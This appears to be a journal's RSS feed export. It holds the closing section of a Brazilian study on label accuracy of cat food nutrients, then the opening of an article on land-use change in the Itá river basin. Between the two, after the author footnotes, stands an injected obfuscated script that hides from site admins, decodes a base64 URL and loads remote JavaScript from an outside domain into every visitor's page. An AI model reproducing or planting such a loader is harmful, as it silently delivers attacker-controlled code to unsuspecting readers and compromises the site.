<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="573" height="185" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-298.png" alt="" class="wp-image-262935" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-298.png 573w, https://revistaft.com.br/wp-content/uploads/2026/01/image-298-300x97.png 300w" sizes="(max-width: 573px) 100vw, 573px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 4</strong> <strong>&#8211;</strong> Composição de nutrientes (Especiais &#8211; Urinário)</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="573" height="185" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-299.png" alt="" class="wp-image-262936" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-299.png 573w, https://revistaft.com.br/wp-content/uploads/2026/01/image-299-300x97.png 300w" sizes="(max-width: 573px) 100vw, 573px" /></figure>



<p class="wp-block-paragraph">Nas rações Especiais, voltadas a dietas terapêuticas, tanto na versão renal quanto na urinária, a umidade foi de 12% no MAPA e 10% no rótulo, a matéria mineral de 12% e 6%, respectivamente, e a proteína bruta de 24% no MAPA, 24% (renal) e 25% (urinário) no rótulo. O extrato etéreo apresentou 7% no MAPA e 20% no rótulo, enquanto a matéria fibrosa atingiu 16% no MAPA contra 3,5% no rótulo. Com todos os resultados em conformidade com o exigido pelo MAPA.&nbsp;</p>



<p class="wp-block-paragraph">Em relação à segunda etapa da pesquisa, estão evidenciadas as informações nutricionais da principal marca Premium comercializada para filhotes e adultos nas tabelas 5 e 6.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 5 &#8211;</strong> Composição de nutrientes (Filhote &#8211; Premium)&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="573" height="185" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-300.png" alt="" class="wp-image-262937" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-300.png 573w, https://revistaft.com.br/wp-content/uploads/2026/01/image-300-300x97.png 300w" sizes="(max-width: 573px) 100vw, 573px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 6 &#8211;</strong> Composição de nutrientes (Adulto &#8211; Premium)&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="573" height="185" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-301.png" alt="" class="wp-image-262938" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-301.png 573w, https://revistaft.com.br/wp-content/uploads/2026/01/image-301-300x97.png 300w" sizes="(max-width: 573px) 100vw, 573px" /></figure>



<p class="wp-block-paragraph">Nas rações Premium, para filhotes, os valores mostraram: umidade de 12% no MAPA, 10% no rótulo e 11% na análise, sendo o valor da análise acima do valor mostrado no rótulo, mas apresentando conformidade com o MAPA; matéria mineral de 12% (MAPA), 8% (rótulo) e 14% (análise), sendo o valor da análise acima do valor preconizado pelo MAPA e acima do valor do rótulo; proteína bruta de 28% (MAPA), 34% (rótulo) e 29% (análise), sendo o valor da análise abaixo do valor mostrado no rótulo, mas apresentando conformidade com o MAPA; extrato etéreo de 8%, 12% e 10%, sendo o valor da análise abaixo do valor mostrado no rótulo, mas apresentando conformidade com o MAPA; e matéria fibrosa de 4,5%, 3,5% e 3,0%, sendo o valor da análise abaixo do valor mostrado no rótulo, mas apresentando conformidade com o MAPA. Na versão adulto, a umidade apresentou 12% (MAPA), 10% (rótulo) e 10% (análise), em conformidade com o MAPA e o rótulo, enquanto a matéria mineral ficou em 12% (MAPA), 8% (rótulo) e 13% (análise), com a análise acima do valor preconizado pelo MAPA e acima do valor do rótulo. A proteína bruta foi de 24% no MAPA, 33,5% no rótulo e 28% na análise, sendo o valor da análise abaixo do valor mostrado no rótulo, mas apresentando conformidade com o MAPA e o extrato etéreo de 8% (MAPA), 12% (rótulo) e 11% (análise), sendo o valor da análise abaixo do valor mostrado no rótulo, mas apresentando conformidade com o MAPA. A matéria fibrosa atingiu 5% (MAPA), 3,5% (rótulo) e 3,0% (análise), sendo o valor da análise abaixo do valor mostrado no rótulo, mas apresentando conformidade com o MAPA.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nas tabelas 7 e 8 estão evidenciadas as informações nutricionais da principal marca Super Premium comercializada para filhotes e adultos.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 7</strong> <strong>&#8211;</strong> Composição de nutrientes (Filhote &#8211; Super premium)&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="573" height="185" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-302.png" alt="" class="wp-image-262939" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-302.png 573w, https://revistaft.com.br/wp-content/uploads/2026/01/image-302-300x97.png 300w" sizes="(max-width: 573px) 100vw, 573px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 8</strong> <strong>&#8211;</strong> Composição de nutrientes (Adulto &#8211; Super premium)&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="573" height="185" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-303.png" alt="" class="wp-image-262940" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-303.png 573w, https://revistaft.com.br/wp-content/uploads/2026/01/image-303-300x97.png 300w" sizes="(max-width: 573px) 100vw, 573px" /></figure>



<p class="wp-block-paragraph">Nas rações Super premium, para filhotes, a umidade foi de 12% no MAPA, 10% no rótulo e 12% na análise, sendo o valor da análise acima do valor mostrado no rótulo, mas apresentando conformidade com o MAPA; a matéria mineral foi de 12%, 8% e 6%, sendo o valor da análise abaixo do valor mostrado no rótulo, mas apresentando conformidade com o MAPA, o que indica teor mineral elevado. Excesso de fósforo e relação Ca:P baixa se associam a alterações renais em gatos; magnésio e fósforo também influenciam o risco de urólitos conforme o pH e a supersaturação urinária (Fediaf, 2025).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A proteína bruta foi de 28%, 34,5% e 31%, sendo o valor da análise baixo do valor mostrado no rótulo, mas apresentando conformidade com o MAPA; o extrato etéreo foi de 8%, 18% e 10% sendo o valor da análise abaixo do valor mostrado no rótulo, mas apresentando conformidade com o MAPA e a matéria fibrosa de 4,5%, 3,5% e 3,5% manteve a conformidade com o MAPA e com o valor do rótulo e análise.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Na versão adulto, a umidade apresentou 12%, 10% e 10%, mantendo a conformidade com o MAPA e com os valores de rótulo e análise coerentes; a matéria mineral 12%, 8% e 7%, sendo o valor da análise abaixo do valor mostrado no rótulo, mas apresentando conformidade com o MAPA, a proteína bruta 24%, 33,5% e 30%, sendo o valor da análise abaixo do valor mostrado no rótulo, mas apresentando conformidade com o MAPA, o extrato etéreo 8%, 17% e 11%, sendo o valor da análise abaixo do valor mostrado no rótulo, mas apresentando conformidade com o MAPA e a matéria fibrosa 5%, 3,5% e 2,9%, mantendo a conformidade com o MAPA, mas com o valor do rótulo acima do valor da análise.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Quando a umidade de uma ração comercial para gatos está acima do valor declarado ou aceitável, isso costuma reduzir a densidade energética por quilograma e aumentar o volume urinário, o que pode favorecer a diluição dos solutos urinários e reduzir a supersaturação relativa para cristais. Por outro lado, se a umidade estiver abaixo, a ração torna-se mais concentrada energeticamente e pode reduzir o volume urinário, o que é desfavorável em animais com histórico de urolitíase (Villaverde, 2022).&nbsp;</p>



<p class="wp-block-paragraph">No caso da matéria mineral (cinzas), valores acima do permitido sinalizam teor mineral elevado: excesso de fósforo, em especial, e relação cálcio:fósforo (Ca:P) inadequada já foram associados a alterações renais em felinos, além de influenciar o risco de formação de cristais dependendo do pH e da supersaturação urinária. Por outro lado, valores abaixo do limite podem indicar uma formulação mineral mais leve, o que é desejável em dietas terapêuticas para doenças renais ou urinárias desde que os níveis mínimos de macro e microminerais necessários ainda sejam atendidos Fediaf, 2025).&nbsp;</p>



<p class="wp-block-paragraph">Quanto à proteína bruta, valores acima não são necessariamente prejudiciais em felinos saudáveis e podem contribuir para preservar a massa magra e melhorar a saciedade; entretanto, é preciso atenção à carga de fósforo presente nos ingredientes proteicos. Em contrapartida, valores abaixo do mínimo exigem cautela: podem implicar deficiência de aminoácidos essenciais (como a taurina), perda de musculatura e degradação da qualidade nutricional da dieta, isso é particularmente crítico em gatos, que têm exigências protéicas mais altas que cães (Summers <em>et al</em>., 2020).&nbsp;</p>



<p class="wp-block-paragraph">No caso do extrato etéreo (gorduras), valores acima elevam a densidade energética e a palatabilidade, mas em uso prolongado podem favorecer o ganho de peso e disfunções metabólicas em gatos suscetíveis caso a ingestão energética exceda o gasto (Saavedra <em>et al</em>., 2024). Se o extrato etéreo estiver abaixo, a dieta pode não suprir adequadamente as necessidades energéticas de filhotes ou animais ativos e comprometer a oferta de ácidos graxos essenciais (caso não haja compensação na formulação) (Fediaf, 2025).&nbsp;</p>



<p class="wp-block-paragraph">Por fim, no que se refere à matéria fibrosa (fibras), valores acima podem melhorar a consistência fecal, modular a microbiota intestinal, aumentar a saciedade e auxiliar no controle de peso; porém, em excesso, podem diminuir a digestibilidade de energia e de outros nutrientes. Já valores abaixo podem gerar fezes mais úmidas ou mal formadas, menor saciedade e alterar o trânsito intestinal, prejudicando o manejo intestinal do animal (Moreno <em>et al</em>., 2022).&nbsp;</p>



<p class="wp-block-paragraph">Mesmo em conformidade com o MAPA, discrepâncias relevantes como a proteína bruta e o extrato etéreo elevados no rótulo, mas menores na análise mudam densidade energética e perfil de risco afetando a recomendação clínica. (Villaverde, 2022). Minerais são o ponto sensível, como o fósforo alto e Ca:P baixo sustentados preocupam mais que proteína isolada em felinos quanto a rim e urolitíase (Fediaf, 2025). Filhotes abaixo de mínimos de proteína/gordura e minerais essenciais prejudicam o crescimento; excesso de minerais mal balanceados onera rim (Fediaf, 2025). Adultos castrados com gordura alta + umidade baixa possuem risco metabólico. Terapêuticas renais/urinárias: foque em P mais baixo, Na ajustado para diluir urina quando indicado e umidade alta; discrepâncias aqui têm impacto clínico direto (Queau <em>et al</em>., 2020).&nbsp;</p>



<p class="wp-block-paragraph">De forma comparativa, a Marca A destacou-se pela maior proximidade entre valores declarados e analisados, sugerindo estabilidade e transparência, ainda que seja classificada como “Standard”. A Marca B apresentou as maiores inconformidades em matéria mineral, fator que pode comprometer a segurança a longo prazo, sendo classificada como “Premium”. Já a Marca C, mesmo sendo “Super premium”, mostrou diferenças expressivas em extrato etéreo e proteína bruta, levantando a hipótese de que o apelo mercadológico pode não corresponder totalmente à realidade laboratorial. Por fim, a Marca D, voltada para dietas especiais, exige cautela: embora esteja em conformidade legal, a amplitude das discrepâncias observadas pode reduzir a eficácia terapêutica, tornando ainda mais essencial a fiscalização de rações destinadas a animais com necessidades clínicas específicas.&nbsp;</p>



<p class="wp-block-paragraph">A análise comparativa evidencia que a conformidade legal com o MAPA não necessariamente reflete a fidelidade das informações declaradas em rótulo. Marcas de maior categoria de mercado nem sempre correspondem à melhor padronização entre declaração e prática. Nesse sentido, destaca-se a importância da fiscalização contínua, bem como da divulgação transparente ao consumidor, especialmente quando se trata de dietas terapêuticas.&nbsp;</p>



<h5 class="wp-block-heading"><strong>CONCLUSÃO&nbsp;</strong></h5>



<p class="wp-block-paragraph">De modo geral, observou-se que a maioria das formulações analisadas manteve conformidade com os padrões estabelecidos pelo Ministério da Agricultura, Pecuária e Abastecimento (MAPA), embora tenham sido constatadas discrepâncias relevantes entre os valores declarados e os valores efetivamente obtidos na análise laboratorial.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, ressalta-se que a conformidade legal não garante, por si só, a fidedignidade das informações declaradas nos rótulos, tampouco assegura uniformidade nutricional entre categorias de mercado. O estudo reforça a necessidade de fiscalização contínua, transparência na rotulagem e pesquisas independentes, de modo a assegurar que os alimentos destinados a felinos realmente atendam às exigências fisiológicas da espécie e contribuam para sua saúde.&nbsp;</p>



<h5 class="wp-block-heading"><strong>REFERÊNCIAS&nbsp;</strong></h5>



<p class="wp-block-paragraph">ABINPET – ASSOCIAÇÃO BRASILEIRA DA INDÚSTRIA DE PRODUTOS PARA ANIMAIS DE ESTIMAÇÃO. Caderno especial Abinpet. <strong>Agro Analysis</strong>, v. 35, p. 35- 40, 2019.&nbsp;</p>



<p class="wp-block-paragraph">BECKER, S. H. B. Avaliação de níveis de garantia de rações comerciais para gatos domésticos na fase de crescimento. 2022. <strong>Trabalho de Conclusão de Curso (Graduação em Zootecnia) – Universidade Tecnológica Federal do Paraná</strong>, Dois Vizinhos, 2022.&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Agricultura, Pecuária e Abastecimento. Instrução Normativa nº 9, de 09 de julho de 2003. Regulamento técnico sobre fixação de padrões de identidade e qualidade de alimentos completos e de alimentos especiais destinados a cães e gatos. <strong>Diário Oficial da União</strong>, Brasília, DF, 14 jul. 2003.&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Agricultura, Pecuária e Abastecimento. Instrução Normativa nº 30, de 26 de junho de 2009. Aprova os regulamentos técnicos para a rotulagem obrigatória de alimentos para animais. <strong>Diário Oficial da União</strong>, Brasília, DF, 26 jun. 2009.&nbsp;</p>



<p class="wp-block-paragraph">FEDIAF. <strong>Nutritional guidelines for complete and complementary pet food for cats and dogs</strong>. Bruxelas, FEDIAF, 2025.&nbsp;</p>



<p class="wp-block-paragraph">LAFLAMME, D. P. Understanding and managing obesity in cats. <strong>Veterinary Clinics of North America: Small Animal Practice</strong>, v. 36, n. 6, p. 1283-1295, 2020.&nbsp;</p>



<p class="wp-block-paragraph">LAFLAMME, D. P. Obesity in companion animals. <strong>Veterinary Clinics of North America: Small Animal Practice</strong>, v. 30, n. 3, p. 561-580, 2020.&nbsp;</p>



<p class="wp-block-paragraph">LIMA, A. J. S. Análise de informações nutricionais em rações para gatos. <strong>Revista Veterinária</strong>, v. 10, n. 2, p. 123-130, 2022.&nbsp;</p>



<p class="wp-block-paragraph">MORENO, A. A.; Fascetti, A. J.; Larsen, J. A. Dietary fiber aids in the management of canine and feline gastrointestinal disease. <strong>Journal of the American Veterinary Medical Association</strong>, Schaumburg, v. 260, n. S3, p. S18–S27, 2022.&nbsp;</p>



<p class="wp-block-paragraph">SUMMERS, S. C.; Ahmad, M.-U.-D.; Hepworth, G. <em>et al</em>. Evaluation of phosphorus, calcium and magnesium content in commercial cat foods and their association with renal health. <strong>Journal of Veterinary Internal Medicine</strong>, S.l., v. 34, n. 6, p. 2542– 2553, 2020.&nbsp;</p>



<p class="wp-block-paragraph">QUEAU, Y.; Czaplicki, G.; Laflamme, D. P. Increasing dietary sodium chloride promotes urine dilution and reduces relative supersaturation in cats and dogs. <strong>PLOS ONE</strong>, San Francisco, v. 15, n. 9, 2020.&nbsp;</p>



<p class="wp-block-paragraph">VILLAVERDE, C.; Fascetti, A. J. Commercial versus homemade cat diets: what you need to know. <strong>Animals</strong>, Basel, v. 12, n. 24, p. 3484–3498, 2022.&nbsp;</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Graduanda de Medicina Veterinária – UNIG – Nova Iguaçu, RJ&nbsp;</p>



<p class="has-text-align-right wp-block-paragraph"><sup>2</sup>Médica Veterinária – Nova Iguaçu, RJ<sup>&nbsp;</sup></p>



<p class="has-text-align-right wp-block-paragraph"><sup>3</sup>Docente de Medicina Veterinária – UNIG – Nova Iguaçu, RJ&nbsp;</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>DINÂMICA HIDROGRÁFICA DA BACIA DO RIO ITÁ, PARÁ</title>
		<link>https://revistaft.com.br/dinamica-hidrografica-da-bacia-do-rio-ita-para/</link>
		
		<dc:creator><![CDATA[Revistaft MA]]></dc:creator>
		<pubDate>Sat, 10 Jan 2026 11:35:50 +0000</pubDate>
				<category><![CDATA[Ciências Agrárias]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
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					<description><![CDATA[HIDROGRAPHIC DYNAMICS OF  ITÁ RIVER BASIN, PARÁ REGISTRO DOI: 10.69849/revistaft/ma10202601100835 Gabriel Brasilino de Araújo1Gabriel Garreto dos Santos2João Paulo Ferreira Neris3Wagner Luís Gonçalves da Silva4 Resumo O uso e ocupação do solo de forma inapropriada em bacias hidrográficas é uma das principais causas que agravam o processo de degradação ambiental. Diante desses aspectos, o objetivo deste [&#8230;]]]></description>
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<p class="wp-block-paragraph">HIDROGRAPHIC DYNAMICS OF  ITÁ RIVER BASIN, PARÁ</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ma10202601100835</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Gabriel Brasilino de Araújo<sup>1</sup><br>Gabriel Garreto dos Santos<sup>2</sup><br>João Paulo Ferreira Neris<sup>3</sup><br>Wagner Luís Gonçalves da Silva<sup>4</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo</strong></p>



<p class="wp-block-paragraph">O uso e ocupação do solo de forma inapropriada em bacias hidrográficas é uma das principais causas que agravam o processo de degradação ambiental. Diante desses aspectos, o objetivo deste trabalho foi avaliar a dinâmica espacial e temporal do uso e ocupação do solo na bacia hidrográfica do rio Itá, situada na região do nordeste paraense, entre os anos de 1989, 2004 e 2019. Como metodologia foram utilizadas imagens de satélites do sensor Landsat-5 e Landsat-8, dos anos de 1989, 2004 e 2019, as duas primeiras do mês de julho e a última referente ao mês de agosto. Foram aplicadas técnicas computacionais de geoprocessamento, como combinações coloridas falsa cor e classificação supervisionada empregando o algoritmo de máxima verossimilhança (MAXVER), no software QGIS 3.26.0. Nesse processo foram definidas cinco classes temáticas de ocupação do solo sendo elas: água, área agrícola, floresta primária, floresta secundária e solo exposto. Dos resultados Verificou-se que após o mapeamento da dinâmica do uso e ocupação do solo na bacia, demonstrou que ocorreram transformações de sua cobertura, destacando-se o crescimento de 7,31% das áreas agrícola, 7,9% de vegetação primária e 0,7% da classe água existente na bacia no período avaliado. Observou-se uma perda de 15,06% da área de vegetação secundária entre 1989 e 2019, resultando em uma redução de 18.290 km<sup>2</sup> de área desse tipo de vegetação. Enquanto que às áreas antropizadas como atividades agrícolas se expandiram 7,32%, e solo exposto 0,9% respectivamente. Por fim, destaca-se que o emprego de ferramentas denominadas geotecnologias como sendo fundamentais para avaliação das modificações ambientais e sobretudo para a gestão e monitoramento desses espaços passíveis de conservação contribuindo na conservação dos recursos naturais.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-Chave: </strong>Degradação ambiental, geoprocessamento, recursos hídricos.</p>



<p class="wp-block-paragraph"><strong>Abstract&nbsp;</strong></p>



<p class="wp-block-paragraph">The inappropriate use and occupation of land in watersheds is one of the main causes that contribute/aggravate the process of environmental degradation. Given these aspects, the objective of this work was to evaluate the spatial and temporal dynamics of land use and occupation in the watershed of the Itá River, located in the northeastern region of Pará, between the years 1989, 2004 and 2019. As methodology, satellite images of the Landsat-5 and Landsat-8 sensors from the years 1989, 2004 and 2019 were used, the first two for the month of July and the last one for the month of August. Geoprocessing computational techniques were applied, such as false-color color combinations and supervised classification employing the maximum likelihood algorithm (MAXVER), in QGIS 3.26.0 software. In this process five thematic classes of land occupation were defined, namely: water, agricultural area, primary forest, secondary forest, and exposed soil. From the results it was found that the mapping of the dynamics of land use and occupation in the basin showed that there were transformations of its coverage, highlighting the growth of 7.31% of agricultural areas, 7.9% of primary vegetation and 0.7% of the water class existing in the basin during the period evaluated. A loss of 15.06% of the secondary vegetation area was observed between 1989 and 2019, resulting in a reduction of 18,290 km2 of area of this type of vegetation. While the areas anthropized as agricultural activities expanded 7.32%, and exposed soil 0.9% respectively. Finally, it is highlighted that the use of tools called geotechnologies as being fundamental for the evaluation of environmental changes and especially for the management and monitoring of these spaces amenable to conservation contributing to the conservation of natural resources.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>Environmental degradation, geoprocessing, water resources.</p>



<p class="wp-block-paragraph"><strong>1. Introdução</strong></p>



<p class="wp-block-paragraph">O constante crescimento populacional tem feito os núcleos urbanos se expandirem de forma acelerada, sem qualquer tipo de planejamento. Tal processo está relacionado a fatores econômicos, e isso tem exigido uma maior demanda por recursos naturais contribuindo com o avanço da degradação ambiental. Este cenário é reflexo do processo de ocupação desordenada das terras, onde historicamente os espaços em proximidades aos corpos hídricos têm sido explorados nas atividades socioeconômicas favorecendo a formação de povoamentos em função da disponibilidade e proximidades de recursos naturais (QUEIROZ, 2010).</p>



<p class="wp-block-paragraph">Esse tipo de exploração tem acrescido certamente, em sua maioria relacionado a expansão das atividades agrícolas sobre os diferentes territórios brasileiros, causando fortes impactos ambientais especialmente devido à realização destas ocupações/atividades sem nenhum tipo de planejamento, impactando diretamente no uso de recursos naturais como água, solo e floresta. Tais mudanças alteram o cenário natural e impulsionam a perturbação do equilíbrio dos ecossistemas (WENZE et al., 2020).</p>



<p class="wp-block-paragraph">Nesse sentido, as formas de uso ocupação urbana que têm sido implementadas pela sociedade nas últimas décadas tem promovido intensos problemas de ordem ambiental. Em relação às bacias hidrográficas o uso do ecossistema solo com finalidades agrícolas, sem a adoção de práticas e de manejos conservacionistas também favorecem a degradação ambiental desses agroecossistemas utilizados na produção de alimentos e consequentemente promove o desgaste dessas terras (FAUSTINO et al., 2014).</p>



<p class="wp-block-paragraph">Ainda de acordo com o autor citado as bacias hidrográficas podem ser entendidas como uma unidade de gestão territorial importante para os estudos ambientais, pois todos os componentes constituintes sobre o seu espaço como: geologia, geomorfologia, cobertura vegetal, clima e rios estão intimamente integrados (FAUSTINO et al., 2014). Desse modo, a adoção da bacia hidrográfica como unidade de gestão territorial assume tarefa basilar para a manutenção e preservação dos recursos hidrológicos pois as modificações associadas a disponibilidade destes apresentam impactos diretos no meio ambiente e nas formas de ocupação do solo pelas atividades socioeconômicas (MELLO; SILVA, 2013).</p>



<p class="wp-block-paragraph">Nesse tocante, o planejamento e desenvolvimento de programas direcionados ao delineamento de bacias hidrográficas exige o entendimento e a compreensão das relações que acontecem na paisagem com o meio físico e o estudo claro das evoluções ocorridas do uso do solo (SANTOS; CARDOSO, 2007). Sendo assim, o uso do solo está relacionado aos tipos de atividades desenvolvidas em determinadas áreas, enquanto que a sua ocupação significa a maneira como as edificações humanas se apropriam destas áreas (MARCELLO et al., 2016).&nbsp;</p>



<p class="wp-block-paragraph">Segundo Lopes et al. (2015) o uso de solo é o principal elemento a se considerar no âmbito do planejamento de conservação de bacias hidrográficas. Para tanto, o uso de geotecnologias nestas análises das mudanças ocorridas na paisagem são indispensáveis para estas análises do uso e ocupação do solo. Para Matiello et al. (2017), a comunidade científica juntamente com a gestão governamental, consideram a utilização de ferramentas, como sensoriamento remoto e geoprocessamento, o meio mais eficaz de monitorar as alterações do meio ambiente.</p>



<p class="wp-block-paragraph">Desse modo, o mapeamento do uso e cobertura do solo utilizando os Sistemas de Informações Geográficas (SIG) e sensoriamento remoto (SR) apoiados em técnicas do geoprocessamento tem tido enormes aplicabilidades, especificamente no ramo científico empregado em pesquisas ao avaliar as interações entre o componente humano com os ambientes/espaços onde estão inseridos, de modo a oferecer bases para a compreensão e o gerenciamento da ocupação de determinado local ou região (BASOMMI et al., 2015; MOHANRAJAN et al., 2020).</p>



<p class="wp-block-paragraph">Estudo realizado por realizado por Santos et al. (2020) que estudando a dinâmica temporal do uso da terra na bacia do rio Marapanim a partir do uso de ferramentas denominadas de geotecnologias verificaram perdas significativas de floresta, formada por remanescentes de floresta nativa, está sendo encontrada em grande parte ao longo da rede de drenagem que compõe a bacia, exercendo a proteção destes mananciais. Essa supressão se dá sobretudo em razão da conversão das áreas de floresta para áreas destinadas a atividades socioeconômicas como da agropecuária e silvicultura, e a presença de pequenas áreas recobertas indicam forte fragmentação florestal.</p>



<p class="wp-block-paragraph">Outro caso da aplicação dessas ferramentas de análises espaciais encontra-se no estudo realizado por Furtado et al. (2020), estudando as transformações no uso do solo na bacia hidrográfica do rio Murucupi, município de Barcarena utilizando técnicas de geoprocessamento e SR apoiadas em SIG, verificaram nas suas análises realizadas a partir do mapeamento de uso e cobertura da terra e das quantificações das classes utilizadas uma percepção mais detalhada e abrangente nas inúmeras modificações e mudanças perceptíveis acontecidas nos últimos 29 anos no meio físico da bacia.&nbsp; Ainda de acordo com os resultados do autor citado, a pesquisa comprovou que as dinâmicas do uso e cobertura da terra estão intrinsecamente baseadas na consolidação das áreas urbanas, uma vez que esta área que compõe o núcleo urbano triplicou de tamanho no ano de 2019, restando somente pequenos mosaicos fragmentados de vegetação florestal ao Sul e ao Norte da bacia.</p>



<p class="wp-block-paragraph">Diante disso, utilizamos ferramentas digitais para as análises ambientais de grande importância no entendimento do território, uso e cobertura do solo do rio Itá, no município de Santa Izabel do Pará, entre os anos de 1989, 2004 e 2019. </p>



<p class="wp-block-paragraph"><strong>2. Metodologia</strong></p>



<p class="wp-block-paragraph"><strong>2.1 Área de estudo</strong></p>



<p class="wp-block-paragraph">O município de Santa Izabel do Pará, onde está inserida a bacia do rio Itá, possui área de 717,662 Km², localizando-se na região metropolitana de Belém, entre as coordenadas 01º17&#8217;55&#8221; de latitude Sul e 48º09&#8217;38&#8221; de longitude Oeste, tendo como limites: ao Norte, com o município de Santo Antônio do Tauá, ao Sul com o município de Inhangapi, a Leste com os municípios de Castanhal e a Oeste com os municípios de Benevides e Santa Bárbara. Abrange uma área de aproximadamente 717,662 km<sup>2</sup> e com uma população estimada de 72.856 habitantes (IBGE, 2021). A bacia hidrográfica do rio Itá, possui área de 107, 98 Km² e está localizada na porção Centro Oeste e Sul do município de Santa Izabel do Pará (Figura 1), este município possui como principal acidente geográfico o Rio Caraparú que nasce no distrito de Americano, com extensão aproximada de 85 km, e deságua no Rio Guamá (limite Sul do município). A bacia Caraparuense se completa com a bacia Itá, objeto deste estudo e com os demais afluentes: Maguari, Mucuiambá e Jundiaí, com uma área aproximada de 380 Km<sup>2</sup> (IBGE, 2021). </p>



<p class="wp-block-paragraph"><strong>Figura 1</strong>. Localização da bacia hidrográfica do rio Itá, município de Santa Izabel do Pará, na imagem de satélite Landsat 8 do ano de 2019.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="496" height="368" src="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-1-15.png" alt="" class="wp-image-261959" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-1-15.png 496w, https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-1-15-300x223.png 300w" sizes="(max-width: 496px) 100vw, 496px" /></figure>



<p class="wp-block-paragraph"><strong>2.2 Base de dados espaciais</strong></p>



<p class="wp-block-paragraph">Para a realização desta pesquisa utilizou-se de distintas bases de dados, como o limite estadual e municipal coletados no Instituto Brasileiro de Geografia e Estatística (IBGE), o limite da bacia hidrográfica do rio Itá, capturado junto ao site da Agência Nacional de Água (ANA). E para a análise da evolução espaço-temporal do uso e cobertura do solo foram adquiridas imagens de média resolução espacial (30m) disponibilizadas pelo Serviço Geológico dos Estados Unidos (USGS, 2022).&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.3</strong> <strong>Procedimentos metodológicos adotados</strong></p>



<p class="wp-block-paragraph">O processo de mapeamento do uso do solo e da cobertura vegetal apoiou-se por meio do processamento digital de imagem (PDI) dos satélites Landsat-5 sensor TM (Thematic Mapper), datadas de 10 de julho de 1989 e 13 de julho de 2004, e Landsat-8 sensor OLI (Operational Land Imager), datada de 02 de agosto de 2019, referentes à órbita/ponto 223/061, que corresponde à área de estudo.&nbsp;</p>



